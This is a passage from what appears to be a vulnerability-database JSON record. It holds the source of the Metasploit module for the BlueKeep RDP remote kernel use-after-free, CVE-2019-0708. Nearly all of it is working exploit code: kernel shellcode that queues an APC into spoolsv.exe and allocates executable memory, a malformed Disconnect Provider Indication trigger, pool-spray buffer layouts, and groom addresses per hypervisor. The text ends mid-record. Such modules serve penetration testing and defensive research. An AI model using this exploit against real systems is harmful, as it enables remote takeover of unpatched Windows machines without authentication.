\"spoolsv.exe\"\r\n    pop rax\r\n    jz found_target_process\r\n\r\n;---------- HACK PROCESS NOT FOUND start -----------\r\n    inc rax\r\n    cmp rax, 0x300      ; HACK not found!\r\n    jne _next_find_target_process\r\n    xor ecx, ecx\r\n    ; clear queueing kapc flag, allow other hijacked system call to run shellcode\r\n    mov byte [rbp+#{data_queueing_kapc_offset}], cl\r\n\r\n    jmp _r3_to_r0_done\r\n\r\n;---------- HACK PROCESS NOT FOUND end -----------\r\n\r\n_next_find_target_process:\r\n    ; next process\r\n    mov rcx, [rcx+rdi]\r\n    sub rcx, rdi\r\n    jmp _find_target_process_loop\r\n\r\n\r\nfound_target_process:\r\n    ; The allocation for userland payload will be in KernelApcRoutine.\r\n    ; KernelApcRoutine is run in a target process context. So no need to use KeStackAttachProcess()\r\n\r\n    ;======================================\r\n    ; save process PEB for finding CreateThread address in kernel KAPC routine\r\n    ;======================================\r\n    mov edi, #{psgetprocesspeb_hash}\r\n    ; rcx is EPROCESS. no need to set it.\r\n    call win_api_direct\r\n    mov [rbp+#{data_peb_addr_offset}], rax\r\n\r\n\r\n    ;======================================\r\n    ; iterate ThreadList until KeInsertQueueApc() success\r\n    ;======================================\r\n    ; r15 = nt\r\n    ; r14 = -(offset of ETHREAD.ThreadListEntry)\r\n    ; rcx = EPROCESS\r\n    ; edx = offset of EPROCESS.ThreadListHead\r\n\r\n\r\n    lea rsi, [rcx + rdx]    ; rsi = ThreadListHead address\r\n    mov rbx, rsi    ; use rbx for iterating thread\r\n\r\n    ; checking alertable from ETHREAD structure is not reliable because each Windows version has different offset.\r\n    ; Moreover, alertable thread need to be waiting state which is more difficult to check.\r\n    ; try queueing APC then check KAPC member is more reliable.\r\n\r\n_insert_queue_apc_loop:\r\n    ; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front\r\n    mov rbx, [rbx+8]\r\n\r\n    cmp rsi, rbx\r\n    je _insert_queue_apc_loop   ; skip list head\r\n\r\n    ; find start of ETHREAD address\r\n    ; set it to rdx to be used for KeInitializeApc() argument too\r\n    lea rdx, [rbx + r14]    ; ETHREAD\r\n\r\n    ; userland shellcode (at least CreateThread() function) need non NULL TEB.ActivationContextStackPointer.\r\n    ; the injected process will be crashed because of access violation if TEB.ActivationContextStackPointer is NULL.\r\n    ; Note: APC routine does not require non-NULL TEB.ActivationContextStackPointer.\r\n    ; from my observation, KTRHEAD.Queue is always NULL when TEB.ActivationContextStackPointer is NULL.\r\n    ; Teb member is next to Queue member.\r\n    mov edi, #{psgetthreadteb_hash}\r\n    call get_proc_addr\r\n    mov eax, dword [rax+3]      ; get offset from code (offset of Teb is always > 0x7f)\r\n    cmp qword [rdx+rax-8], 0    ; KTHREAD.Queue MUST not be NULL\r\n    je _insert_queue_apc_loop\r\n\r\n    ; KeInitializeApc(PKAPC,\r\n    ;                 PKTHREAD,\r\n    ;                 KAPC_ENVIRONMENT = OriginalApcEnvironment (0),\r\n    ;                 PKKERNEL_ROUTINE = kernel_apc_routine,\r\n    ;                 PKRUNDOWN_ROUTINE = NULL,\r\n    ;                 PKNORMAL_ROUTINE = userland_shellcode,\r\n    ;                 KPROCESSOR_MODE = UserMode (1),\r\n    ;                 PVOID Context);\r\n    lea rcx, [rbp+#{data_kapc_offset}]     ; PAKC\r\n    xor r8, r8      ; OriginalApcEnvironment\r\n    lea r9, [rel kernel_kapc_routine]    ; KernelApcRoutine\r\n    push rbp    ; context\r\n    push 1      ; UserMode\r\n    push rbp    ; userland shellcode (MUST NOT be NULL)\r\n    push r8     ; NULL\r\n    sub rsp, 0x20   ; shadow stack\r\n    mov edi, #{keinitializeapc_hash}\r\n    call win_api_direct\r\n    ; Note: KeInsertQueueApc() requires shadow stack. Adjust stack back later\r\n\r\n    ; BOOLEAN KeInsertQueueApc(PKAPC, SystemArgument1, SystemArgument2, 0);\r\n    ;   SystemArgument1 is second argument in usermode code (rdx)\r\n    ;   SystemArgument2 is third argument in usermode code (r8)\r\n    lea rcx, [rbp+#{data_kapc_offset}]\r\n    ;xor edx, edx   ; no need to set it here\r\n    ;xor r8, r8     ; no need to set it here\r\n    xor r9, r9\r\n    mov edi, #{keinsertqueueapc_hash}\r\n    call win_api_direct\r\n    add rsp, 0x40\r\n    ; if insertion failed, try next thread\r\n    test eax, eax\r\n    jz _insert_queue_apc_loop\r\n\r\n    mov rax, [rbp+#{data_kapc_offset}+0x10]     ; get KAPC.ApcListEntry\r\n    ; EPROCESS pointer 8 bytes\r\n    ; InProgressFlags 1 byte\r\n    ; KernelApcPending 1 byte\r\n    ; if success, UserApcPending MUST be 1\r\n    cmp byte [rax+0x1a], 1\r\n    je _insert_queue_apc_done\r\n\r\n    ; manual remove list without lock\r\n    mov [rax], rax\r\n    mov [rax+8], rax\r\n    jmp _insert_queue_apc_loop\r\n\r\n_insert_queue_apc_done:\r\n    ; The PEB address is needed in kernel_apc_routine. Setting QUEUEING_KAPC to 0 should be in kernel_apc_routine.\r\n\r\n_r3_to_r0_done:\r\n    pop rax\r\n    pop rbx\r\n    pop rsi\r\n    pop rdi\r\n    pop r14\r\n    pop r15\r\n    ret\r\n\r\n;========================================================================\r\n; Call function in specific module\r\n;\r\n; All function arguments are passed as calling normal function with extra register arguments\r\n; Extra Arguments: r15 = module pointer\r\n;                  edi = hash of target function name\r\n;========================================================================\r\nwin_api_direct:\r\n    call get_proc_addr\r\n    jmp rax\r\n\r\n\r\n;========================================================================\r\n; Get function address in specific module\r\n;\r\n; Arguments: r15 = module pointer\r\n;            edi = hash of target function name\r\n; Return: eax = offset\r\n;========================================================================\r\nget_proc_addr:\r\n    ; Save registers\r\n    push rbx\r\n    push rcx\r\n    push rsi                ; for using calc_hash\r\n\r\n    ; use rax to find EAT\r\n    mov eax, dword [r15+60]  ; Get PE header e_lfanew\r\n    mov eax, dword [r15+rax+136] ; Get export tables RVA\r\n\r\n    add rax, r15\r\n    push rax                 ; save EAT\r\n\r\n    mov ecx, dword [rax+24]  ; NumberOfFunctions\r\n    mov ebx, dword [rax+32]  ; FunctionNames\r\n    add rbx, r15\r\n\r\n_get_proc_addr_get_next_func:\r\n    ; When we reach the start of the EAT (we search backwards), we hang or crash\r\n    dec ecx                     ; decrement NumberOfFunctions\r\n    mov esi, dword [rbx+rcx*4]  ; Get rva of next module name\r\n    add rsi, r15                ; Add the modules base address\r\n\r\n    call calc_hash\r\n\r\n    cmp eax, edi                        ; Compare the hashes\r\n    jnz _get_proc_addr_get_next_func    ; try the next function\r\n\r\n_get_proc_addr_finish:\r\n    pop rax                     ; restore EAT\r\n    mov ebx, dword [rax+36]\r\n    add rbx, r15                ; ordinate table virtual address\r\n    mov cx, word [rbx+rcx*2]    ; desired functions ordinal\r\n    mov ebx, dword [rax+28]     ; Get the function addresses table rva\r\n    add rbx, r15                ; Add the modules base address\r\n    mov eax, dword [rbx+rcx*4]  ; Get the desired functions RVA\r\n    add rax, r15                ; Add the modules base address to get the functions actual VA\r\n\r\n    pop rsi\r\n    pop rcx\r\n    pop rbx\r\n    ret\r\n\r\n;========================================================================\r\n; Calculate ASCII string hash. Useful for comparing ASCII string in shellcode.\r\n;\r\n; Argument: rsi = string to hash\r\n; Clobber: rsi\r\n; Return: eax = hash\r\n;========================================================================\r\ncalc_hash:\r\n    push rdx\r\n    xor eax, eax\r\n    cdq\r\n_calc_hash_loop:\r\n    lodsb                   ; Read in the next byte of the ASCII string\r\n    ror edx, 13             ; Rotate right our hash value\r\n    add edx, eax            ; Add the next byte of the string\r\n    test eax, eax           ; Stop when found NULL\r\n    jne _calc_hash_loop\r\n    xchg edx, eax\r\n    pop rdx\r\n    ret\r\n\r\n\r\n; KernelApcRoutine is called when IRQL is APC_LEVEL in (queued) Process context.\r\n; But the IRQL is simply raised from PASSIVE_LEVEL in KiCheckForKernelApcDelivery().\r\n; Moreover, there is no lock when calling KernelApcRoutine.\r\n; So KernelApcRoutine can simply lower the IRQL by setting cr8 register.\r\n;\r\n; VOID KernelApcRoutine(\r\n;           IN PKAPC Apc,\r\n;           IN PKNORMAL_ROUTINE *NormalRoutine,\r\n;           IN PVOID *NormalContext,\r\n;           IN PVOID *SystemArgument1,\r\n;           IN PVOID *SystemArgument2)\r\nkernel_kapc_routine:\r\n    push rbp\r\n    push rbx\r\n    push rdi\r\n    push rsi\r\n    push r15\r\n\r\n    mov rbp, [r8]       ; *NormalContext is our data area pointer\r\n\r\n    mov r15, [rbp+#{data_nt_kernel_addr_offset}]\r\n    push rdx\r\n    pop rsi     ; mov rsi, rdx\r\n    mov rbx, r9\r\n\r\n    ;======================================\r\n    ; ZwAllocateVirtualMemory(-1, &baseAddr, 0, &0x1000, 0x1000, 0x40)\r\n    ;======================================\r\n    xor eax, eax\r\n    mov cr8, rax    ; set IRQL to PASSIVE_LEVEL (ZwAllocateVirtualMemory() requires)\r\n    ; rdx is already address of baseAddr\r\n    mov [rdx], rax      ; baseAddr = 0\r\n    mov ecx, eax\r\n    not rcx             ; ProcessHandle = -1\r\n    mov r8, rax         ; ZeroBits\r\n    mov al, 0x40    ; eax = 0x40\r\n    push rax            ; PAGE_EXECUTE_READWRITE = 0x40\r\n    shl eax, 6      ; eax = 0x40 << 6 = 0x1000\r\n    push rax            ; MEM_COMMIT = 0x1000\r\n    ; reuse r9 for address of RegionSize\r\n    mov [r9], rax       ; RegionSize = 0x1000\r\n    sub rsp, 0x20   ; shadow stack\r\n    mov edi, #{zwallocatevirtualmemory_hash}\r\n    call win_api_direct\r\n    add rsp, 0x30\r\n\r\n    ; check error\r\n    test eax, eax\r\n    jnz _kernel_kapc_routine_exit\r\n\r\n    ;======================================\r\n    ; copy userland payload\r\n    ;======================================\r\n    mov rdi, [rsi]\r\n\r\n;--------------------------- HACK IN EGG USER ---------\r\n\r\n    push rdi\r\n\r\n    lea rsi, [rel shellcode_start]\r\n    mov rdi, 0x#{USERMODE_EGG.to_s(16)}\r\n\r\n  _find_user_egg_loop:\r\n      sub rsi, 0x#{CHUNK_SIZE.to_s(16)}\r\n      mov rax, [rsi - 8]\r\n      cmp rax, rdi\r\n      jnz _find_user_egg_loop\r\n\r\n  _inner_find_user_egg_loop:\r\n      inc rsi\r\n      mov rax, [rsi - 8]\r\n      cmp rax, rdi\r\n      jnz _inner_find_user_egg_loop\r\n\r\n    pop rdi\r\n;--------------------------- END HACK EGG USER ------------\r\n\r\n    mov ecx, 0x380  ; fix payload size to 0x380 bytes\r\n\r\n    rep movsb\r\n\r\n    ;======================================\r\n    ; find CreateThread address (in kernel32.dll)\r\n    ;======================================\r\n    mov rax, [rbp+#{data_peb_addr_offset}]\r\n    mov rax, [rax + 0x18]       ; PEB->Ldr\r\n    mov rax, [rax + 0x20]       ; InMemoryOrder list\r\n\r\n    ;lea rsi, [rcx + rdx]    ; rsi = ThreadListHead address\r\n    ;mov rbx, rsi    ; use rbx for iterating thread\r\n_find_kernel32_dll_loop:\r\n    mov rax, [rax]       ; first one always be executable\r\n    ; offset 0x38 (WORD)  => must be 0x40 (full name len c:\\windows\\system32\\kernel32.dll)\r\n    ; offset 0x48 (WORD)  => must be 0x18 (name len kernel32.dll)\r\n    ; offset 0x50  => is name\r\n    ; offset 0x20  => is dllbase\r\n    ;cmp word [rax+0x38], 0x40\r\n    ;jne _find_kernel32_dll_loop\r\n    cmp word [rax+0x48], 0x18\r\n    jne _find_kernel32_dll_loop\r\n\r\n    mov rdx, [rax+0x50]\r\n    ; check only \"32\" because name might be lowercase or uppercase\r\n    cmp dword [rdx+0xc], 0x00320033   ; 3\\x002\\x00\r\n    jnz _find_kernel32_dll_loop\r\n\r\n    ;int3\r\n    mov r15, [rax+0x20]\r\n    mov edi, #{createthread_hash}\r\n    call get_proc_addr\r\n\r\n    ; save CreateThread address to SystemArgument1\r\n    mov [rbx], rax\r\n\r\n_kernel_kapc_routine_exit:\r\n    xor ecx, ecx\r\n    ; clear queueing kapc flag, allow other hijacked system call to run shellcode\r\n    mov byte [rbp+#{data_queueing_kapc_offset}], cl\r\n    ; restore IRQL to APC_LEVEL\r\n    mov cl, 1\r\n    mov cr8, rcx\r\n\r\n    pop r15\r\n    pop rsi\r\n    pop rdi\r\n    pop rbx\r\n    pop rbp\r\n    ret\r\n\r\nuserland_start_thread:\r\n    ; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL)\r\n    xchg rdx, rax   ; rdx is CreateThread address passed from kernel\r\n    xor ecx, ecx    ; lpThreadAttributes = NULL\r\n    push rcx        ; lpThreadId = NULL\r\n    push rcx        ; dwCreationFlags = 0\r\n    mov r9, rcx     ; lpParameter = NULL\r\n    lea r8, [rel userland_payload]  ; lpStartAddr\r\n    mov edx, ecx    ; dwStackSize = 0\r\n    sub rsp, 0x20\r\n    call rax\r\n    add rsp, 0x30\r\n    ret\r\n\r\nuserland_payload:\r\n    ^\r\n\r\n    [\r\n      KERNELMODE_EGG,\r\n      assemble_with_fixups(asm)\r\n    ].pack('<Qa*')\r\n  end\r\n\r\n  def create_free_trigger(chan_user_id, chan_id)\r\n    # malformed Disconnect Provider Indication PDU (opcode: 0x2, total_size != 0x20)\r\n    vprint_status(\"Creating free trigger for user #{chan_user_id} on channel #{chan_id}\")\r\n    # The extra bytes on the end of the body is what causes the bad things to happen\r\n    body = \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\" + \"\\x00\" * 22\r\n    rdp_create_channel_msg(chan_user_id, chan_id, body, 3, 0xFFFFFFF)\r\n  end\r\n\r\n  def create_exploit_channel_buffer(target_addr)\r\n    overspray_addr = target_addr + 0x2000\r\n    shellcode_vtbl = target_addr + HEADER_SIZE\r\n    magic_value1 = overspray_addr + 0x810\r\n    magic_value2 = overspray_addr + 0x48\r\n    magic_value3 = overspray_addr + CHUNK_SIZE + HEADER_SIZE\r\n\r\n    # first 0x38 bytes are used by DATA PDU packet\r\n    # exploit channel starts at +0x38, which is +0x20 of an _ERESOURCE\r\n    # http://www.tssc.de/winint/Win10_17134_ntoskrnl/_ERESOURCE.htm\r\n    [\r\n      [\r\n        # SystemResourceList (2 pointers, each 8 bytes)\r\n        # Pointer to OWNER_ENTRY (8 bytes)\r\n        # ActiveCount (SHORT, 2 bytes)\r\n        # Flag (WORD, 2 bytes)\r\n        # Padding (BYTE[4], 4 bytes) x64 only\r\n        0x0, # SharedWaters (Pointer to KSEMAPHORE, 8 bytes)\r\n        0x0, # ExclusiveWaiters (Pointer to KSEVENT, 8 bytes)\r\n        magic_value2, # OwnerThread (ULONG, 8 bytes)\r\n        magic_value2, # TableSize (ULONG, 8 bytes)\r\n        0x0, # ActiveEntries (DWORD, 4 bytes)\r\n        0x0, # ContenttionCount (DWORD, 4 bytes)\r\n        0x0, # NumberOfSharedWaiters (DWORD, 4 bytes)\r\n        0x0, # NumberOfExclusiveWaiters (DWORD, 4 bytes)\r\n        0x0, # Reserved2 (PVOID, 8 bytes) x64 only\r\n        magic_value2, # Address (PVOID, 8 bytes)\r\n        0x0, # SpinLock (UINT_PTR, 8 bytes)\r\n      ].pack('<Q<Q<Q<Q<L<L<L<L<Q<Q<Q'),\r\n      [\r\n        magic_value2, # SystemResourceList (2 pointers, each 8 bytes)\r\n        magic_value2, # --------------------\r\n        0x0, # Pointer to OWNER_ENTRY (8 bytes)\r\n        0x0, # ActiveCount (SHORT, 2 bytes)\r\n        0x0, # Flag (WORD, 2 bytes)\r\n        0x0, # Padding (BYTE[4], 4 bytes) x64 only\r\n        0x0, # SharedWaters (Pointer to KSEMAPHORE, 8 bytes)\r\n        0x0, # ExclusiveWaiters (Pointer to KSEVENT, 8 bytes)\r\n        magic_value2, # OwnerThread (ULONG, 8 bytes)\r\n        magic_value2, # TableSize (ULONG, 8 bytes)\r\n        0x0, # ActiveEntries (DWORD, 4 bytes)\r\n        0x0, # ContenttionCount (DWORD, 4 bytes)\r\n        0x0, # NumberOfSharedWaiters (DWORD, 4 bytes)\r\n        0x0, # NumberOfExclusiveWaiters (DWORD, 4 bytes)\r\n        0x0, # Reserved2 (PVOID, 8 bytes) x64 only\r\n        magic_value2, # Address (PVOID, 8 bytes)\r\n        0x0, # SpinLock (UINT_PTR, 8 bytes)\r\n      ].pack('<Q<Q<Q<S<S<L<Q<Q<Q<Q<L<L<L<L<Q<Q<Q'),\r\n      [\r\n        0x1F, # ClassOffset (DWORD, 4 bytes)\r\n        0x0, # bindStatus (DWORD, 4 bytes)\r\n        0x72, # lockCount1 (QWORD, 8 bytes)\r\n        magic_value3, # connection (QWORD, 8 bytes)\r\n        shellcode_vtbl, # shellcode vtbl ? (QWORD, 8 bytes)\r\n        0x5, # channelClass (DWORD, 4 bytes)\r\n        \"MS_T120\\x00\".encode('ASCII'), # channelName (BYTE[8], 8 bytes)\r\n        0x1F, # channelIndex (DWORD, 4 bytes)\r\n        magic_value1, # channels (QWORD, 8 bytes)\r\n        magic_value1, # connChannelsAddr (POINTER, 8 bytes)\r\n        magic_value1, # list1 (QWORD, 8 bytes)\r\n        magic_value1, # list1 (QWORD, 8 bytes)\r\n        magic_value1, # list2 (QWORD, 8 bytes)\r\n        magic_value1, # list2 (QWORD, 8 bytes)\r\n        0x65756c62, # inputBufferLen (DWORD, 4 bytes)\r\n        0x7065656b, # inputBufferLen (DWORD, 4 bytes)\r\n        magic_value1, # connResrouce (QWORD, 8 bytes)\r\n        0x65756c62, # lockCount158 (DWORD, 4 bytes)\r\n        0x7065656b, # dword15C (DWORD, 4 bytes)\r\n      ].pack('<L<L<Q<Q<Q<La*<L<Q<Q<Q<Q<Q<Q<L<L<Q<L<L')\r\n    ].join('')\r\n  end\r\n\r\nend",
        "cvss": {
            "score": 10.0,
            "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"
        },
        "sourceHref": "https://www.exploit-db.com/download/47416",
        "vhref": "https://vulners.com/exploitdb/EDB-ID:47416"
    },
    {
        "lastseen": "2019-12-04T03:55:30",
        "bulletinFamily": "exploit",
        "description": "Exploit for windows platform in category remote exploits",
        "modified": "2019-09-24T00:00:00",
        "published": "2019-09-24T00:00:00",
        "id": "1337DAY-ID-33275",
        "href": "https://0day.today/exploit/description/33275",
        "title": "Microsoft Windows - BlueKeep RDP Remote Windows Kernel Use After Free Exploit",
        "type": "zdt",
        "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\n#  Exploitation and Caveats from zerosum0x0:\r\n#\r\n#    1. Register with channel MS_T120 (and others such as RDPDR/RDPSND) nominally.\r\n#    2. Perform a full RDP handshake, I like to wait for RDPDR handshake too (code in the .py)\r\n#    3. Free MS_T120 with the DisconnectProviderIndication message to MS_T120.\r\n#    4. RDP has chunked messages, so we use this to groom.\r\n#       a. Chunked messaging ONLY works properly when sent to RDPSND/MS_T120.\r\n#       b. However, on 7+, MS_T120 will not work and you have to use RDPSND.\r\n#           i. RDPSND only works when\r\n#              HKLM\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Winstations\\RDP-Tcp\\fDisableCam = 0\r\n#           ii. This registry key is not a default setting for server 2008 R2.\r\n#              We should use alternate groom channels or at least detect the\r\n#              channel in advance.\r\n#    5. Use chunked grooming to fit new data in the freed channel, account for\r\n#       the allocation header size (like 0x38 I think?). At offset 0x100? is where\r\n#       the \"call [rax]\" gadget will get its pointer from.\r\n#       a. The NonPagedPool (NPP) starts at a fixed address on XP-7\r\n#           i. Hot-swap memory is another problem because, with certain VMWare and\r\n#           Hyper-V setups, the OS allocates a buncha PTE stuff before the NPP\r\n#           start. This can be anywhere from 100 mb to gigabytes of offset\r\n#           before the NPP start.\r\n#       b. Set offset 0x100 to NPPStart+SizeOfGroomInMB\r\n#       c. Groom chunk the shellcode, at *(NPPStart+SizeOfGroomInMB) you need\r\n#          [NPPStart+SizeOfGroomInMB+8...payload]... because \"call [rax]\" is an\r\n#          indirect call\r\n#       d. We are limited to 0x400 payloads by channel chunk max size. My\r\n#          current shellcode is a twin shellcode with eggfinders. I spam the\r\n#          kernel payload and user payload, and if user payload is called first it\r\n#          will egghunt for the kernel payload.\r\n#    6. After channel hole is filled and the NPP is spammed up with shellcode,\r\n#       trigger the free by closing the socket.\r\n#\r\n#    TODO:\r\n#    * Detect OS specifics / obtain memory leak to determine NPP start address.\r\n#    * Write the XP/2003 portions grooming MS_T120.\r\n#    * Detect if RDPSND grooming is working or not?\r\n#    * Expand channels besides RDPSND/MS_T120 for grooming.\r\n#        See https://unit42.paloaltonetworks.com/exploitation-of-windows-cve-2019-0708-bluekeep-three-ways-to-write-data-into-the-kernel-with-rdp-pdu/\r\n#\r\n#    https://github.com/0xeb-bp/bluekeep .. this repo has code for grooming\r\n#    MS_T120 on XP... should be same process as the RDPSND\r\n\r\nclass MetasploitModule < Msf::Exploit::Remote\r\n\r\n  Rank = ManualRanking\r\n\r\n  USERMODE_EGG = 0xb00dac0fefe31337\r\n  KERNELMODE_EGG = 0xb00dac0fefe42069\r\n\r\n  CHUNK_SIZE = 0x400\r\n  HEADER_SIZE = 0x48\r\n\r\n  include Msf::Exploit::Remote::RDP\r\n  include Msf::Exploit::Remote::CheckScanner\r\n\r\n  def initialize(info = {})\r\n    super(update_info(info,\r\n      'Name'           => 'CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free',\r\n      'Description'    => %q(\r\n        The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120,\r\n        allowing a malformed Disconnect Provider Indication message to cause use-after-free.\r\n        With a controllable data/size remote nonpaged pool spray, an indirect call gadget of\r\n        the freed channel is used to achieve arbitrary code execution.\r\n      ),\r\n      'Author' =>\r\n      [\r\n        'Sean Dillon <[email\u00a0protected]>',  # @zerosum0x0 - Original exploit\r\n        'Ryan Hanson',                              # @ryHanson - Original exploit\r\n        'OJ Reeves <[email\u00a0protected]>',           # @TheColonial - Metasploit module\r\n        'Brent Cook <[email\u00a0protected]>',            # @busterbcook - Assembly whisperer\r\n      ],\r\n      'License' => MSF_LICENSE,\r\n      'References' =>\r\n        [\r\n          ['CVE', '2019-0708'],\r\n          ['URL', 'https://github.com/zerosum0x0/CVE-2019-0708'],\r\n        ],\r\n      'DefaultOptions' =>\r\n        {\r\n          'EXITFUNC' => 'thread',\r\n          'WfsDelay' => 5,\r\n          'RDP_CLIENT_NAME' => 'ethdev',\r\n          'CheckScanner' => 'auxiliary/scanner/rdp/cve_2019_0708_bluekeep'\r\n        },\r\n      'Privileged' => true,\r\n      'Payload' =>\r\n        {\r\n          'Space' => CHUNK_SIZE - HEADER_SIZE,\r\n          'EncoderType' => Msf::Encoder::Type::Raw,\r\n        },\r\n      'Platform' => 'win',\r\n      'Targets' =>\r\n        [\r\n          [\r\n            'Automatic targeting via fingerprinting',\r\n            {\r\n              'Arch' => [ARCH_X64],\r\n              'FingerprintOnly' => true\r\n            },\r\n          ],\r\n          #\r\n          #\r\n          # Windows 2008 R2 requires the following registry change from default:\r\n          #\r\n          # [HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Terminal Server\\WinStations\\rdpwd]\r\n          # \"fDisableCam\"=dword:00000000\r\n          #\r\n          [\r\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64)',\r\n            {\r\n              'Platform' => 'win',\r\n              'Arch' => [ARCH_X64],\r\n              'GROOMBASE' => 0xfffffa8003800000,\r\n              'GROOMSIZE' => 100\r\n            }\r\n          ],\r\n          [\r\n            # This works with Virtualbox 6\r\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6)',\r\n            {\r\n              'Platform' => 'win',\r\n              'Arch' => [ARCH_X64],\r\n              'GROOMBASE' => 0xfffffa8002407000\r\n            }\r\n          ],\r\n          [\r\n            # This address works on VMWare 14\r\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 14)',\r\n            {\r\n              'Platform' => 'win',\r\n              'Arch' => [ARCH_X64],\r\n              'GROOMBASE' => 0xfffffa8030c00000\r\n            }\r\n          ],\r\n          [\r\n            # This address works on VMWare 15\r\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15)',\r\n            {\r\n              'Platform' => 'win',\r\n              'Arch' => [ARCH_X64],\r\n              'GROOMBASE' => 0xfffffa8018C00000\r\n            }\r\n          ],\r\n          [\r\n            # This address works on VMWare 15.1\r\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1)',\r\n            {\r\n              'Platform' => 'win',\r\n              'Arch' => [ARCH_X64],\r\n              'GROOMBASE' => 0xfffffa8018c08000\r\n            }\r\n          ],\r\n          [\r\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)',\r\n            {\r\n              'Platform' => 'win',\r\n              'Arch' => [ARCH_X64],\r\n              'GROOMBASE' => 0xfffffa8102407000\r\n            }\r\n          ],\r\n          [\r\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS)',\r\n            {\r\n              'Platform' => 'win',\r\n              'Arch' => [ARCH_X64],\r\n              'GROOMBASE' => 0xfffffa8018c08000\r\n            }\r\n          ],\r\n        ],\r\n      'DefaultTarget' => 0,\r\n      'DisclosureDate' => 'May 14 2019',\r\n      'Notes' =>\r\n        {\r\n          'AKA' => ['Bluekeep']\r\n        }\r\n    ))\r\n\r\n    register_advanced_options(\r\n      [\r\n        OptBool.new('ForceExploit', [false, 'Override check result', false]),\r\n        OptInt.new('GROOMSIZE', [true, 'Size of the groom in MB', 250]),\r\n        OptEnum.new('GROOMCHANNEL', [true, 'Channel to use for grooming', 'RDPSND', ['RDPSND', 'MS_T120']]),\r\n        OptInt.new('GROOMCHANNELCOUNT', [true, 'Number of channels to groom', 1]),\r\n      ]\r\n    )\r\n  end\r\n\r\n  def exploit\r\n    unless check == CheckCode::Vulnerable || datastore['ForceExploit']\r\n      fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')\r\n    end\r\n\r\n    if target['FingerprintOnly']\r\n      fail_with(Msf::Module::Failure::BadConfig, 'Set the most appropriate target manually')\r\n    end\r\n\r\n    begin\r\n      rdp_connect\r\n    rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError\r\n      fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service')\r\n    end\r\n\r\n    is_rdp, server_selected_proto = rdp_check_protocol\r\n    unless is_rdp\r\n      fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service')\r\n    end\r\n\r\n    # We don't currently support NLA in the mixin or the exploit. However, if we have valid creds, NLA shouldn't stop us\r\n    # from exploiting the target.\r\n    if [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include?(server_selected_proto)\r\n      fail_with(Msf::Module::Failure::BadConfig, 'Server requires NLA (CredSSP) security which mitigates this vulnerability.')\r\n    end\r\n\r\n    chans = [\r\n      ['rdpdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP],\r\n      [datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],\r\n      [datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],\r\n      ['MS_XXX0', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],\r\n      ['MS_XXX1', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],\r\n      ['MS_XXX2', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],\r\n      ['MS_XXX3', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],\r\n      ['MS_XXX4', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],\r\n      ['MS_XXX5', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],\r\n      ['MS_T120', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],\r\n    ]\r\n\r\n    @mst120_chan_id = 1004 + chans.length - 1\r\n\r\n    unless rdp_negotiate_security(chans, server_selected_proto)\r\n      fail_with(Msf::Module::Failure::Unknown, 'Negotiation of security failed.')\r\n    end\r\n\r\n    rdp_establish_session\r\n\r\n    rdp_dispatch_loop\r\n  end\r\n\r\nprivate\r\n\r\n  # This function is invoked when the PAKID_CORE_CLIENTID_CONFIRM message is\r\n  # received on a channel, and this is when we need to kick off our exploit.\r\n  def rdp_on_core_client_id_confirm(pkt, user, chan_id, flags, data)\r\n    # We have to do the default behaviour first.\r\n    super(pkt, user, chan_id, flags, data)\r\n\r\n    groom_size = datastore['GROOMSIZE']\r\n    pool_addr = target['GROOMBASE'] + (CHUNK_SIZE * 1024 * groom_size)\r\n    groom_chan_count = datastore['GROOMCHANNELCOUNT']\r\n\r\n    payloads = create_payloads(pool_addr)\r\n\r\n    print_status(\"Using CHUNK grooming strategy. Size 